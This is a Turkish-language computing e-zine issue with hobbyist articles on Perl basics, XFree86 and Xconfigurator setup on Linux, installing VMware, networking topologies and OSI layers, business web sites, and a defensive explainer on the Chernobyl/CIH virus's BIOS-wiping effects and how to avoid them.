Anladığınız üzere <STDIN> bizim bilgiyi girdiğimiz öntanımlı aygıt, yani klevyemiz. `$inputline' ın ne lduğunu tahmin etmek zor olamsa gerek. Değişkenler konusunu önümüzdeki aylarda ayrıntılarıyla göreceğiz. (;) ise olmazsa olmazlardan bir tane daha. Bunu gören derleyici bir önceki (;) e kadar bir şeyler döndüğünü farkeder ve betiğimiz çalışır. isterseniz bir tanesini çıkartıp neler olduğunu görün. Perl dili boşluklarla fazla ilgilenmez ama siz boşlukları okuma kolaylığı sağlamak için mutlaka kullanın. olayı abartıp :

$inputline                          =
<STDIN>
;

yukarıdaki gibi de yazabilirsiniz ama okuyana kadar canınız çıkar ;)
Ilk ders tanışmak içindi, ama ilerki yazılarda daha fazla iş yapacaz.
Görüşmek ümidiyle.

Hazırlayan:
pasha ; pasha@trscene.org


 

Linux'ta X-Window kurulumu ve Ayarlanması
X-Window Nedir?
X-Window, Unix tabanlı sistemler için çok yararlı ağ tabanlı bir grafik arayüzdür. En düsük memory gereksinimi 4 MB main ve 16 MB virtual memory'dir. Yine de en az 16 MB ram kesintisiz bir çalışma için gereklidir. Bence ne kadar fazla ram varsa o kadar rahat edersiniz.

XFREE-86 Nedir?
X Consortium X11 için uygulanacak standartları belirler. Farklı işletim sistemlerine uyarlanması ise değişik gruplar tarafindan yapılır. Örneğin, SunOS üzerinde calisan X11 OpenLook adıyla, Sun Microsystems tarafından üretilmiştir. Benzer şekilde Intel 386 ve üzeri işlemcilerde çalışacak X11 arayüzü de XFREE86 grubu tarafından gerçekleştirilmiştir. LINUX üzerinde çalısan X11 ‘in asıl adi XFREE86'dir

INSTALLING XFree86
Büyük ihtimalle Linux dağıtımınızla beraber gerekli XFree86 serverlar da gelmiştir. Ama  kartınıza uygun bir server gelmemiş ise gerekli olanı ftp sitelerinden download edebilirsiniz. Eğer elinizde hiç server yok ise o zaman VGA16 serveri download etmeniz kesinlikle gereklidir. Çünkü auto-configuration utility'sini çalıştırabilmek için buna ihtiyacınız olacak. Şunu da söyleyeyim, güncel herhangi bir Linux sürümünü kurarken gerekli serveri seçmeniz gereklidir. Şayet hangisini seçeceğiniz hakkında hiçbir fikriniz yoksa hepsini seçmeniz sizin yararınıza olacaktır. Şimdiye kadar karşilaştığım en genel sorun ihtiyaç olunan server mevcut olmasına rağmen bunun konfigurasyonunun yapılaması oldugundan direkt olarak bu konfigurasyonun nasıl yapılacağına geçiyorum.

CONFIGURING XFree86
XFree86 konfigurasyonu ile mousunuzu, klavyenizi, monitörünüzü ve ekran kartınızı kullanıma açarsınız. Bunun için yapmanız gereken XF86Setup programını çalıştırmaktır. /usr/X11R6/bin dizinindeyken

# XF86Setup               yazın

Program başlayınca VGA16 server çalışacak (ega/vga uyumlu kartlarda) ve 640x480 çözünürlükte minimum özelliklerde bir grafik ekran açılacaktır. Burada karşınıza 5 panelden oluşan kullanımı çok kolay bir arayüz gelir. Bunlar mouse, klavye, video card, monitör ve diğer server ayarlarının yapılacağı alanlardır. Tüm ayarlamalarınızı mousunuzu kullanarak yapabilirsiniz.  Eğer sisteminizde XF86Setup'ı çalıştıramadıysanız o zaman aynı işleri text ortamda birsürü soruya yanıt vererek de yapabileceğiniz bir baska program da var. Bunu yapmak için: /usr/X11R6/bin  dizininde iken root olarak

# xf86config 

yazmanız yeterlidir. Bence bunu kullanmak çok zaman kaybettiricidir. Çünkü yanıtlamanız gereken birsürü soru vardır. XF86Setup yazıp VGA serveri çalıştırdığınız zaman yapılması gereken en önemli iş ekran kartını ve monitörün çözünürlüğünü doğru ayarlamaktır. Zira setup programı ilk çalışınca mouse ayarlarını kontrol etmek için mouse tabına tıklayınca setup programı hakkında kısa bir bilgi ekranda görünecektir. Bunu okumak için vakit kaybetmeden  dismiss düğmesine tıklayın. Karşınıza mouse ayarları gelecektir. Ben şahsen bu ayarı değiştirme gereği duymadan atlıyorum ancak mouse’nuz com1 de degil de başka bir portta ise o zaman uygun aygıtı seçmek gerekebilir. Eğer windowsta mouse ayarı com2 ise aygıtı /dev/cua1 e ayarlayın(bu linuxta com2’ye karşılık gelir). Eğer fareyi kullanabiliyorsanız zaten sorun yoktur. Bir yandaki tab keyboard ayarlarını kapsar. Klavyenize uygun olanı seçip yola devam edin. Üçüncü tab ise ekran kartının ayarlarının yapıldığı yerdir. Bu gelen pencereden size uyan serveri seçmelisiniz. Sonra da kartınızın hafızasına karşılık gelen yeri de işaretlemelisiniz. Oralarda gözünüze Card List diye bir düğme takılacak, bu düğmeye basın ve ekran kartınızı oldukça uzun bir listeden bulup seçili bırakın. Ekran kartını takip eden tab monitör ayarı içindir. Monitörünüzün cinsine göre bir seçim yapın , mesela benim bilgisayarım 2 yıllık normal bir monitör ve seçtiğim monitör tipi :

Non-Interlaced SVGA  1024x768 @ 60 Hz,  800x600 @ 72 Hz .

Bu adımı da geçince Mode Selection denen ve serverin hangi modlarda çalışması gerektiğinin seçildiği yere geliyoruz. Burada da kart seçiminde olduğu gibi dikkatli olmak gerekir. Deminki konfigurasyona yani benim bilgisayarıma göre 800x600   16bpp ideal ayardır. Siz de bunu deneyerek başlayabilirsiniz. Eğer sorun çıkmaz ve daha geniş görüntü isterseniz o zaman eski ayarlarınız sabit kalacak biçimde bir tek çözünürlük ve renk ayarını değiştirerek yeni denemeler yapabilirsiniz.

Sonra diğer server ayarlarını da isteğiniz doğrultusunda yapın (normalde diğer ayarları değiştirmeniz bence gerekmiyor) ve ekranın altındaki done düğmesine  tıklayın. Bundan sonra ayarların değiştiğine ve yeni ayarları kaydetmek isteyip istemediğinize dair soruyla karşılaşırsınız. Kaydedin ve çıkın. Bu sırada uygun serverinize bir link olan  X linkinin oluşturulmasını isteyin. Eger herşey doğru ise terminalin birinde startx yazıp grafik arabiriminizi çalıştırabilirsiniz. Eğer hata verir de çalışmaz ise o zaman XF86Setup' ı tekrar çalıştırın ve donanımınıza uygun diğer ihtimalleri deneyin. Bol şanslar...

EĞER REDHAT KULLANIYORSANIZ

Eğer redhat  Linux kullanıyorsanız kartınızı otomatik tanıtmanin bir yolu var. Bir terminalde xconfigurator yazın ve çalıştırın.Ya da bu işi setup yazip çalıştırdıktan sonra xconfiguratoru seçerek de yapabilirsiniz. Her iki durumda da root olarak 

#setup                       çalıştırıp  xconfiguratoru seçebilirsiniz. ya da
#Xconfigurator            direk olarak çalıştırabilirsiniz.

Sonuçta ekran kartınızın otomatik tanınacağı ve  uygun çözünürlük ve renk derinliğinin atanacağı bir programla karşı karşıyasınız. Kartı bulup uygun bir çözünürlük ve renk derinliği saptandıktan sonra bunları kullanmak isteyip istemediğiniz sorulacaktır. Bu sırada hangi renk çözünürlüğünde hangi renk derinliklerini kullanmak isteyip istemediğinizi belirleyebilirsiniz. İşte yapmaniz gereken tamamıyla bu kadar. Şimdilik hoşçakalın ama Linux'suz kalmayın :)

PredatoR                                                                                             
a_kucuk@yahoo.com


Nedir Bu Vmware Fırtınası?
           Gün geçmiyor ki insanlar hep hayalini kurduğumuz birşeyleri yapmıyor olsunlar. En sonunda artık 2 işletim sistemini bir arada kullanabiliyoruz. Hem de oldukça sorunsuz olarak..   Evet, iki işletim sistemini aynı anda kullanabiliyoruz, pek çoğunuzun gözünün içinin güldüğünü görür, “ne yani ben şimdi bi taraftan linux’ta exploitlerimi derleyip denerken bi taraftan windoze’mi açık tutabilecekmiyim” dediğinizi duyar gibiyim. Ama hemen öyle gevşemek yok bu iş biraz yorucu ve kafa karıştırıcı. Birazcık sabırla ve kafanızı çalıştırarak bu işi yapabilmeniz olası, ama önce biraz teori :)

            VmWare Nedir: Virtual Machine yazılımı, aynı anda birden fazla işletim sisteminin aynı anda çalıştırılması prensibine dayanan bir program.

            Çalıştırmak İçin Nelere İhtiyacım Var: Minimum Pentium kuşağı bir işlemci (önerilen PII kuşağından bir işlemci), min. 64 Mb. RAM, (önerilen 96 MB. Ram) , 3 Mb. Disk boşluğu temel dosyalar için, min. 500 Mb. Boş disk alanı her ikincil işletim sisteminin çalışabilmesi için.

            Peki Benim Sistemim Neydi: Deneme yaparken kullandığım bilgisayar, PII 333 Celeron, 96 Mb. SDRAM, 4.3 GB IDE HDD. 1. partition Win98 (2 GB) , 2. partition Linux Redhat 5.2 (1 GB), Geri kalanı dos ve Linux tarafından kullanılan file depot.

            Hangi İşletim Sistemlerini Destekler: Guest işletim sistemi olarak Dos&Win3.1, Win95/98, Windows NT WS/Server. Host olarak Caldera, S.u.S.E, Redhat.

            Hemen bu guest ve host işletim sistemi konularını bir aydınlatalım. Host ana işletim sistemimiz ki benim anladığım kadarıyla Linux olmak zorunda. Linux altında Xwindow’unuzu açıp guest işletim sistemini çağırabiliyorsunuz. Yani Xwindow’unuzda bir Windows penceresi açıp çalışabiliyorsunuz. Adamların açıklamalarına göre şimdilik Win95/98’i host yapmayı düşünmüyorlar, sizce neden düşünmüyorlardır :)

 Peki adım adım bu işi nasıl yapacağım?

1-     En başta önelikle Windows95/98 ya da Windows NT’nizi kurun (vardır ya gene de bi hatırlatma işte)

2-     Şimdi bir de Linux kurun, eğer benim gibi Slackware kullanıcısıysanız üzgünüm ama illaki Redhat, Suse ya da Caldera kurmalısınız. Basın Slackware’inize formatı biraz da Redhat öğrenin. (Turkuaz da da bir sorun çıkmamalı). Ayrıca Linux’unuzun kerneli 2.0.32 ya da üstü olmalı.

3-     Şimdi gidin linux’unuza bir güzel Xwindow’unuzu ayarlayın, Eğer ki AGP ekran kartı kullanıyorsanız işiniz var, hele bir de S3 AGP’niz varsa daha çok işiniz var. Ben Intel I740 8 Mb. AGP kullanıyorum Xwindow’umu 16 bit derinliğinde çalıştırabiliyorum. Bu konuda bilgi için www.xfree86.com sitesini ziyaret etmeniz gerekiyor.

4-     Evet bu aşamaya gelebildiysek  www.vmware.com adresine gidin, siteyi şöyle bir gezinin, basit gibi görünen bir site ama kazın ayağı hiçte öyle değil, benim size burada anlatacaklarım sadece bir özet, daha fazla teorik/pratik bilgi burada mevcut.

5-     Şimdi download bölümüne tıklayın. Oradan Download Vmware For Linux’u seçin, istediğiniz herhangi bir siteden (3 seçeneğiniz var) vmware-forlinux-10.tar.gz dosyasini çekin (En azından bu yazı yazıldığında mevcut sürüm buydu)

6-     Şimdi bir de Wmvare Tools’u yükleyin aynı adresten. Elimizin altında dursun.

7-     Hmm bu program çalışmıyor abi demeden önce program için lisans aldığınızdan emin olun, öncelikle kayıt olacaksınız. Kayıt olmak için siteyi birazcık dolaşın bulacaksınız.

8-     Evet license dosyanız da mail adresinize postalandı, bu kötü haber ücretsiz olarak sadece 1 ay kullanabiliyoruz, demek ki bir ay sonra ekstra operasyonlar yapmamız gerekecek ;)

9-     Neyse, şimdi lafı uzatmadan devam edelim, Linux’unuzla boot edin, vmware-forlinux-10.tar.gz dosyasını açacağız. Nasıl mı  :)  “tar zxf vmware-forlinux-10.tar.gz” komutuyla tabi ki.

10- Programı kurarken root olmamız gerekiyor degilse kurulmuyor.

su
      cd vmware-distrib
     ./install.pl
      exit  (işlemleri sırasıyla yapın)

11- Ben dosyalarımı root dizinine kopyalarak işlemleri yaptım. Benim root dizinimin altında .vmware isminde bir dizin oluşturdu.

12- Hani aldığınız lisans dosyası vardı ya, ismini “license” olarak değiştirin ve bu dosyayı .vmware dizinin altına kopyalayın.

13- Şimdi “startx” yapalım ve terminal penceresinde vmware-distrib dizinindeyken “./vmware” deyip dosyamızı çalıştıralım.

14-  Karşımıza yeni bir konfigürasyon mu yapacağız yoksa mevcut bir konfigürasyonu mu kullanacağımız çıktı. Hemen configuration wizard’ı işaretledik.

15-  Şimdi bizden “guest” olarak hangi işletim sistemini kullancağımızı soruyor. DOS/Win31 , Windows95, WindowsNT, Linux seçebileceklerimiz arasında. Ben Windows 98’i seçtim.

16- Şimdi bizden gerekli dizinleri vs. İstiyor, verelim.

17- Artık Power On butonuna basıp “virtual machine” imizi çalıştırabiliriz.

18- Lisans hatası mı verdi? License dosyasını .vmware dizinine kopyaladın mı?

19- Karşımıza bir Phoenix Bios mu çıktı? Tamam doğru yoldayız.

20- O da ne?? “Operating System Not Found” diyorsa işiniz kötü. Gösterdiğiniz sanal sürücüye yeniden windows yüklemeniz gerek, açılışta boot disketini takın ve yeniden kur yapın.

21- Artık Windows’umuzu Linux altından çalıştırabiliyoruz. Ben çalıştırdım ve çok fazla zevk almadım, çünkü makina baya bir bağırıyor çalışmak için belki Pentium III’um geldiğinde daha güzel çalışacak???

      Genel Değerlendirmeler:

      Çalışma prensibi olarak, işletim sistemlerine hükmetme olarak, hafıza organizasyonu olarak üzerinde çok kafa yorulmuş bir program, yapanları hakikaten kutlamak gerek. Ancak elinizde “baba” bir donanımınız yoksa işiniz bir hayli zor, bir o kadar da konfigüre için iyi düzeyde bilgi gerektirmesi bence programın eksileri. Kim bilir belki günün birinde Windows’un  host olarak çalışacağı bir sistem geliştirirler o zaman herkes rahat eder..

Son Söz:

      Programı çalıştıramadıysanız yanlış giden yerleri not alın ve öncelikle trscene@gelecek.com.tr mail listemize üye olun, bu adresten hepinizle tartışıp hatalarımızı bulacağımıza inanıyorum..

Gelecek Ay:

      Gelecek ay çok büyük bir sürpriz olmazsa “guru” olabilmeniz için hangi kademelerden geçmeniz gerekecek, hangi programlama dillerini öğrenmelisiniz, hangi işletim sistemi ne kadar işinize yarar gibi değerlendirmelerde bulunacağım, yeni başlayanlar için iyi bir kaynak olacağı kanatindeyim..

       Bu arada televole.com/projman domaini kapatıldı, en yakın zamanda www.medyaform.com/projman adresinde sizlere hizmet vermeye başlayacağım. Siz siz olun bu siteyi sık sık ziyaret edin, çünkü Projman’in Bilgi Bankasında çook şey bulacaksınız..

 Başka?!?, gelecek ay görüşmek üzere, bizi unutmayın :)

 Projman ; projman@trscene.org
      “Knowledge is Power”


TCP/IP [Bölüm-2]
NETWORK MİMARİLERİ:  Network protokollerini anlamak için önce network hakkında biraz bilgi sahibi olmamız gerekir.     Network kısaca birbirlerine çeşitli şekillerde bağlanan bilgisayarlar ve aygıtlar (printer , modem ..) kümesidir. Bağlantı kablo ile doğrudan olabileceği gibi bir modem üzerinden dolaylı olarak da yapılabilir. Network üzerindeki değişik aygıtlar birbirleri ile belirli kurallar (protokol) çerçevesinde anlaşırlar. Networkteki aygıtlar aynı odada olabileceği gibi bir bina içerisinda , ya da telefon kabloları , mikrodalga veya benzeri bir sistem ile birkaç kilometrekare içerisindeki bir alanda bulunabilirler. Yada dünyanın öbür ucunda .... İşte bu yapı network topolojisi olarak adlandırılır.    
LOCAL AREA NETWORKS: LAN'lar bir binayı yada birkaç odayı kapsayan networklerin kurulumunda kullanılan topolojilerdir. Bu topolojiler aşağıda özetlenmiştir.
Bus Network: En basit network yapısıdır. Ana bir kablo üzerinde transceiver adı verilen bir konnektör ile bağlı aygıtlardan oluşur. En önemli avantajı yüksek hızıdır. Ayrıca bakımının yapılması ve problem tespiti de kolaydır. Ana kablonun iki ucunda sonlandırıcı adı verilen birer direç bulunur. Hat üzerinde her aygıtın bir kimlik numarası yada adresi vardır. Böylece aygıt gelen bilginin kendisi için gelip gelmediğini anlar.

bus.jpg (18439 bytes)

Ring Network: Genelde halka şeklinde gösterilirler. Ring networklerde bus networklerinde olduğu gibi sonlandırıcı bulunmaz ve ana kablonun iki ucu birbirine bağlanmış gibi düşünülebilir. Token Ring Network olarak da adlandırılır.

ring.jpg (20173 bytes)

Hub Network: Hub networklerde backplane olarak adlandırılan ve bus networklere benzer şekilde bir ana kablo kullanılır. Backplane'den birçok port içeren hub'lara kablolar çekilir.
    Hub networklerinin maliyeti düşük , kurulumu ve bakımı kolay olduğu için geniş networklerin kurulumunda sıkça kullanılır.

hub.jpg (16602 bytes)

WIDE AREA NETWORKS:   WAN 'lar uzak mesafelerde bulunan LAN'ların bir kümesi olarak tanımlanabilir. Birbirlerine telefon kablosu gibi yüksek hızlı kablolar ile bağlanırlar. Her LAN'ın girişinde LAN ile WAN arasında link gibi hareket eden bir yada daha fazla sayıda makina bulunur. Bu makinalara gateway adı verilir. Gateway'ler konusuna gelecek sayılarda ayrıntılı olarak değinilecektir. Şimdilik gateway'in LAN ile WAN arasında arayüz görevi gördügünü bilmemiz yeterli..
    Gateway'in haricinde router yada bridge terimlerini de duymuş olabilirsiniz. Bunların tümü farklı görevleri olan gateway'leri ifade ederler.
    Yerel ağlar geniş ağlara LAN ve WAN omurgası arasında veri akışını kontrol eden gateway'ler kullanılarak bağlanırlar. Bu görevi yerine getirmek için genellikle router'lar kullanılır.

router.jpg (12194 bytes)

    Bir başka gateway aygıtı bridge ise aynı network protokolünü kullanan LAN'ları birbirine bağlamak için kullanılır.

bridge.jpg (16967 bytes)

LAYERS: Yerel ağımızda bulunan her makina için network fonksiyonları sağlayacak bir program yazmak zorunda olduğumuzu düşünelim Değişik bilgisayarlar arasındaki iletişim için tüm görevleri yerine getiren tek bir program yazmak bir kabus olacaktır.
    Bunun yerine benzer görevleri yerine getiren daha küçük gruplar oluşturulabilir. Açık sistem iletişimde gruplar bellidir. Bir grup verinin iletimi ile uğraşırken diğeri mesajların paketlenmesi , son kullanıcı uygulamaları gibi konularla uğraşır.
    İlişkili görevler topluluğu layer olarak adlandırılır.

01tyt07.gif (3180 bytes)

Application Layer: OSI sisteminde son kullanıcı arayüzüdür. Bu katmanın görevi alınan bilgiyi göstermek yada kullanıcının yeni datalarını aşağıdaki katmanlara göndermektir.
Presentation Layer: Bu katmanın görevi alt katmanları uygulamanın formatından izole etmektir. Veriyi uygulama formatından genel formata dönüştürür.
Session Layer: Uygulama prosesleri arasındaki veri alışverişini organize eder. Kısaca zamanlama ve akış kontrol katmanı olarak düşünülebilir.
Transport Layer: Adından da anlaşılacağı üzere kaynak bir açık sistemden hedef bir açık sisteme veri transfer eder.
Network Layer: Bilginin yönlendirilmesi işleri ile uğraşır. Makinalar arasıdaki yolları tanımlar. Network topolojisini inceler ver en iyi yönlendirmeye karar verir.
Data Link Layer: Physical layer için kontrolü sağlar. Oluşabilecek hataları tespit edip bunları düzeltir.
Physical Layer: OSI'nin en alt katmanıdır. Verinin aktarımı ile ilgili mekaniksel , elektriksel fonksiyonel işler ile ilgilenir.

 


Köşesiz Gazetenin Köşe Yazısı
     Bu ayki konumuz web siteleri. İnternetin sağladığı en önemli nimetlerin başında şüphesiz web geliyor. Bugün internette sunulan milyonlarca (oturup saymadım ne kadar olduğunu tam bilmiyorum) web sayfasının yanında her geçen gün yeni açılan sitelerle bu milyonlara yeni milyonlar eklenmekte.

    Nedir bu web sitesi ? İnsanlar, firmalar neden web sitesi açma ihtiyacı hissediyorlar ? İşte bu yazı boyunca bunun sebepleri üzerinde duracağız.

    Kişisel web siteleri, insanların kendileri hakkında bilgiler verdikleri,bir iki resim koydukları , irc'de  yada icq'da edindikleri arkadaşlarına kendilerini gösterdikleri, hobilerinden , yaşamlarından , araştırmalarından bahsettikleri , kendi halinde, herhangi bir kar amacı güdülmeyen yayınlar olarak karşımıza çıkıyor.

    Yayınlanan herşeyin bir rating kaygısı olduğu şüphesiz. Sonuçta insanlar bu siteleri başkaları gelip görsün diye hazırlıyorlar ve yayınlıyorlar. İşte bu rating kaygısı site sahiplerinin insanların gelip buraları görmeleri için ilginç içerikler oluşturmalarına sebep oluyor. Bu kimi zaman adult resim , kimi zaman internet şifresi yada program crack'i olabiliyor. Tabi bunun yanında eğitim amaçlı sitelerin olduğu da inkar edilemez. Ama sonuçta herşey rating ugruna .

    İşin içine karın girdiği nokta bu ratingler oluyor. Bir sayfayı günde 5000 - 10000 kişi ziyaret ediyorsa , bu kadar kişiye ulaşılıyorsa bundan iyi reklam ortamı sağlanabilir mi ? Bu noktada sponsorlar devreye girerek hem site sahiplerini tatmin ediyorlar hem de kendi reklamlarını yapıyorlar. Sonuçta herkes memnun ....

        Gelelim tamamen reklam ve hizmete yönelik profesyonel anlamda kesinlikle kar yada fayda amacı güden şirket sitelerine. Bu konuda MACRO economy dergisi Nisan 99 sayısında oldukça güzel bir yazı yayınlamış. Oradan alıntılar yapmak istiyorum.

    Web siteleri Türkiye'de ilk fark edildiklerinde prestij anlamına geliyordu. Internet dünyasında bir sayfayla da olsa varolmak , şirketler açısından işlevsel olarak çok fazla anlam taşımasa da yazışmaların sonuna bir net adresi eklemek mağaza vitrinlerine bu adresleri yazmak çağdaş imajı tamamlayan bir unsur olarak görülüyordu.

   Önceleri şirketler internetin devasa potansiyelini gözardı etmiş ve olaya bak Yakko firmasının var Boyman'in niye olmasın teknolijinin gerisinde kalmayalım mantığı ile yaklaşmışlar.

    Ancak artık devir değişti. Internet günlük yaşantımızdaki yerini giderek sağlamlaştırırken iş dünyası da internetin sağladığı olanaklardan daha çok yararlanmaya başladı."Internette herkesin bir sayfası var bizimde olsun " mantığıyla moda haline gelen web siteleri adeta birer şirket merkezine dönüşüyor. Yeni ürün tanıtımlarından , iş başvurularına , bayi eğitimlerinden halkla ilişkilere kadar bir şirketin tüm faaliyetlerini internet üzerinde yapmasına olanak tanıyan web siteleri yeni bir iş kolunun da oluşmasını sağlıyor. Web master 'lık ....

        Sonuçta potansiyel farkediliyor. Firmalar bu işe daha sıkı sarılıyorlar. Hangimiz  ilgilendiğimiz bir ürünü önce internette arayıp hakkıda bilgi edinmedik  yada staj / iş için o site benim bu site senin gezmedik. Artık şirket sitelerinde aradığımız hemen herşeyi bulabiliyor.Internetten ürün siparişinde bulunabiliyoruz. Yeni bir işdalı da türedi webmaster'lık sanat ile teknolojiyi bütünleştiren bu meslek ileride oldukça popüler ve aranılan bir dal olacak o kesin....

    Web sitesi şirketinize ne sağlar?

    1- Firmanın Tanıtımı:Firmanızın geçmişini , referanslarını , çalışma alanlarını , yapmakta bulunduğu işleri web sitenizde sunabilirsiniz.

    2-Ürünlerin ve Hizmetlerin Tanıtımı: Pazarlamanın ilk kuralı ürünlerinizi en iyi ve detaylı şekilde tanıtabilmek. Web siteniz bu konuda sizin en önemli yardımcınız olacaktır.

    3-Müşteri Hizmetleri ve Teknik Destek: Müşterilerin en fazla şikayetçi oldukları konuların başında istedikleri hizmeti alabilmek için beklemek ve sıraya girmek gelir. Birçok şirket fazladan müşteri temsilcisi çalıştırarak bu sorunu çözmeye çalışır. Bu da ek maliyet demektir. Web siteniz bu aşamada en iyi ve ekonomik çözümü size sunar.

    4-Halkla ilişkiler:Tanıtımını yapmak istediğiniz ürünün veya hizmetin yanı sıra hakkınızda basında çıkmış haber veya yayınlara sitenizde yer vererek tüketicilerin sizin hakkınızda daha çok bilgi sahibi olmalarını sağlayabilirsiniz.

    5-Kullanıcılardan Geri Bildirim Almak: Ziyaretçilerinizin isteklerini , fikirlerini veya sizin onlardan isteyeceğiniz bilgileri siteniz sayesinde alabilirsiniz.

     6-Dünya Çapında Pazarlama ve Satış: www globaldir. Hemen heryerden müşteriniz olabilir. Siteniz ile bütün dünyaya ulaşabilir , ürününüzü tanıtır ve satabilirsiniz.

    7-Şirket İçi Bilgi Paylaşımı :Sürekli güncellenen dökümanları burada yayılayarak kırtasiye masrafından kurtulabilirsiniz :)

   Görüldüğü üzere internetin nimetlerinden yararlanmamak büyük hata olurdu. Bu satırları okuyan şirket sahibi olduğunu pek zannetmesem de ileride eminim herkes biryerlere gelecektir ve bu sitenin ziyaretçisi olanlar da web'in önemini şimdiye kadar çoktan anlamışlardır.

    Maksat bilenler bilmeyenlere anlatsın...

    Gelecek sayıda görüşmek üzere

    Yazı hakkındaki her türlü yorum için bana yazabilirsiniz. Adresim: lkaptan@yahoo.com


Çernobil Virüsünün Bilgisayara Etkisi ve çözüm yolları

Teknolojinin her dakika geliştiği günümüz de ,art niyetli ve bilgisayar sistemlerini çok iyi şekilde tanıyan bir takım şahıslar dijital katliam olarak nitelendirilebilecek ÇERNOBİL (CHERNOBYL / WINCIH) virüsünü yaratmıştır.

Daha önce bu tür bir virüs ile bilgisayar dünyası hiç karşılaşmamıştır.Bu virüs daha önceki yıllarda yazılan milyonlarca bilgisayar virüslerinden farklı olarak yeni teknoloji anakartlarda ki FLASH BIOS dediğimiz elektronik eleman içindeki bilgiyi sıfırlamakta , yani silmektedir.Öncelikle her türlü makinada Harddisk dediğimiz ,bilgilerinizi kaydettiğiniz aygıtı silmektedir.Bunun sonucunda tüm bilgileriniz silinmektedir.
Not : Virüs sadece Windows 95 veya Windows 98 işletim sistemini kullanan bilisayarlara zarar vermektedir.NT işletim sistemine zarar verememektedir.

FLASH BIOS Veya BIOS NEDİR ?

Bilgisayarınızın açma düğmesine bastığınız anda sistem önce bios kodunu okur.Biosun içerisinde makinanızın konfigürasyonu kayıtlıdır.Bu konfigürasyon bilgisayarınızın işlemcisinin,hafızasının,disk yada disket sürücüsünün özelliklerinin vb’nin. ne olduğunu kontrol eden bir bilgisayar programıdır.Bu program silindiğinde makinanız sistem konfigürasyonunu kontrol etmek için yine bu koda ihtiyaç duyar.Fakat biosu kontrol ettiğinde bulamadığından makinanız açılmaz.Bilgisayarınıza hiç bir görüntü gelmez , hoparlöründen hiç bir ses çıkartmaz.Ekranda sadece siyah yada hafif grimsi bir zemin rengi görürsünüz.

Flash Bios ise genelde yeni teknoloji anakartlarda bulunur,bios ile işlevi farksızdır.Pentium anakartların bazılarında , PII veya PIII tabanlı anakartlarda bulunur.Üretici firma sistem konfigürasyonu için Bios’a yeni eklentiler yaptığında bunu internetten yayınlar.İnternetten bu dosyayı çekip ,sisteminizde Bios Güncelleme yaparak yeni eklentilere sahip olursunuz.Bu yüzden Flash Bios anakart üzerinde yazmaya karşı açık veya kapalı olmak üzere iki seçeneğe sahiptir.Her nedense satın aldığınız anakartta bu seçenek yazmaya karşı açık konumdadır.

Çernobil virüsünü yazan kişi veya kişilerde bu açıklıktan yararlanarak tüm dünyada bir çok kullanıcı ve kamu kuruluşlarına ( ev ve ofis kullanıcıları, bankalar, ordu, trafik, tapu kadastro, TRT, üniversiteler, mağazalar, internet kafeler, esnaf ve bir çoğu) zarar vermeyi başarmışlardır.

Bundan zarar gören iki tip kullanıcı vardır.

1.Biosunda flash özelliği olmayan ,güncellenemeyen (Update edilemeyen ) bilgisayarlar.Sadece disk üzerindeki bilgileri silinir.
2.Flash bios özelliği olan bilgisayarlar.Önce disk üzerindeki bilgiler silinir.Sonra virüs biosu siler.Makina bir daha açılamaz duruma gelir.

Çernobil virüsü bir çok versiyona sahiptir.Bilgisayara internetten virüslü dosya çekmek veya başka bir virüslü bilgisayardan disket ile dosya aktarmak ile bulaşır.Belli bir kuluçka döneminden sonra bazı tarihlerde aktif olur ve sisteminize zarar verir. Bu tarihler her ayın 26’sı , 26 Nisan , 27 Nisan , 29 Nisan ve 26 Hazirandır.Bu tarihte herhangi bir saatte bilgisayarını açan ve bilgisayarında Çernobil virüsü mevcut kullanıcıların sistemleri zarar görür.Bu tarihlerde bilgisayarlarını açmayan veya sistem tarihini değiştirerek kullanan kişiler ,makinaları virüslü ise sonradan onu temizleyerek zarardan korunabilirler.

Virüsten Zarar Görenlerin Durumları Ve Önerilen Çözümler Yolları.
Şu ana kadar sistemi zarar gören bilgisayarların tekrar çalışır duruma getirilmesi için kesin bir çözüm yolu bulunamamıştır.Anakartı satan firmalar genel de kullanıcılara bir çözüm yolu sunamamakta ve yeni bir kart almalarını söylemektedirler.Yeni bir kartın fiyatı da özelliklerine göre 100 $ ile 500$ arasında değişmektedir.Oysa arızalı kısım çok ucuza mal olabilecek Bios dediğimiz kısımdır.Anakartta hiçbir sorun yoktur.Üretici firmalar da sadece Bios satmayı redderek anakart satmaktadırlar.Asus firması bir hafta süre ile kendi markası olan Asus anakartları nerden alındığı önemli olmadan yenisi ile değiştirmektedir.Bunu diğer firmalarda yapabilirler aslında !.
Yada anakart yerine bios verebilirler.Çünkü zarar gören sisteminize o anakarta ait başka bir bios taktığınızda bilgisayarınız eski işlevine kavuşmaktadır.Üretici firmaların anakartları ücretsiz olarak değiştirmeye yanaşmamalarının sebebi ,virüsten kaynaklanan sorunların garanti kapsamı dışında sayılmasıdır.Çernobil virüsü türünün ilk örneklerindendir.

Sonuçta üretici firmaların bu konuda bilinçli olarak veya olmayarak büyük ihmalleri vardır.Daha öncede bahsettiğin gibi anakart üzerinde bulunan Flash bios Enable / Disable seçeneğini Enable konumunda satışa sunulmaktadır.Bu konumda isteyen her kişi elinde program mevcutsa biosu silebilir veya yeniden güncelleyebilir.Bu konuma anakartı satın aldığınız aracı bayilerde pek fazla dikkat etmemektedirler.

Oysa ki yeni bilgisayar alan, henüz bilgisayarı fazla tanımayan ve hatta özelliklerini sorduğunuzda net cevap veremeyen kullanıcılar bu seçeneği nereden bilebilirler ki.Bu tür bir virüs sisteme girdiğin de tabi ki sisteme zarar verir.

Üretici firma bu seçeneği ilk üretimde aktif bırakmasa veya koruma altına alsa her önüne gelen kullanamasa o zaman kişilerin en azından sadece bilgileri silinir.Ama makinaları sağlıklı olarak çalışmaya devam eder.

Disk üzerindeki silinmiş bilgileri geri getirip kurtara bilmek için ücret istemek en doğal haklarıdır.Çünkü virüs temizleme servis ücretine tabidir.Ama anakartın firmaların ihmali yüzünden çalışamaz duruma gelmesi kabul edilemez.

Bu sebeple tüm kullanıcılar haklarını sonuna kadar savunarak anakartların ücretsiz değiştirtmek veya yeni bios taktırtabilmek için birlik olmalıdırlar


Virüsten Korunma yolları.

( Not : Bilgisayarınızın biosu zarar görmüş veya görmemiş olsun ,bilgisayarınıza Çernobil zarar vermişse diskteki bilgiler silinmiştir.Bu durumda diskinizi Formatlamayın veya bilgisayar firmalarının bilgilerinizi kurtarabileceğine inanmıyorsanız işlem yaptırtmayın.Çünkü bilgilerinizi kurtarmak mümkün..)

Öncelikle yukarıda belirtilen tarihlerde bilgisayarınızı hiç açmayınız veya bu tarihler gelmeden önce bilgisayarınızın tarihini değiştiriniz.

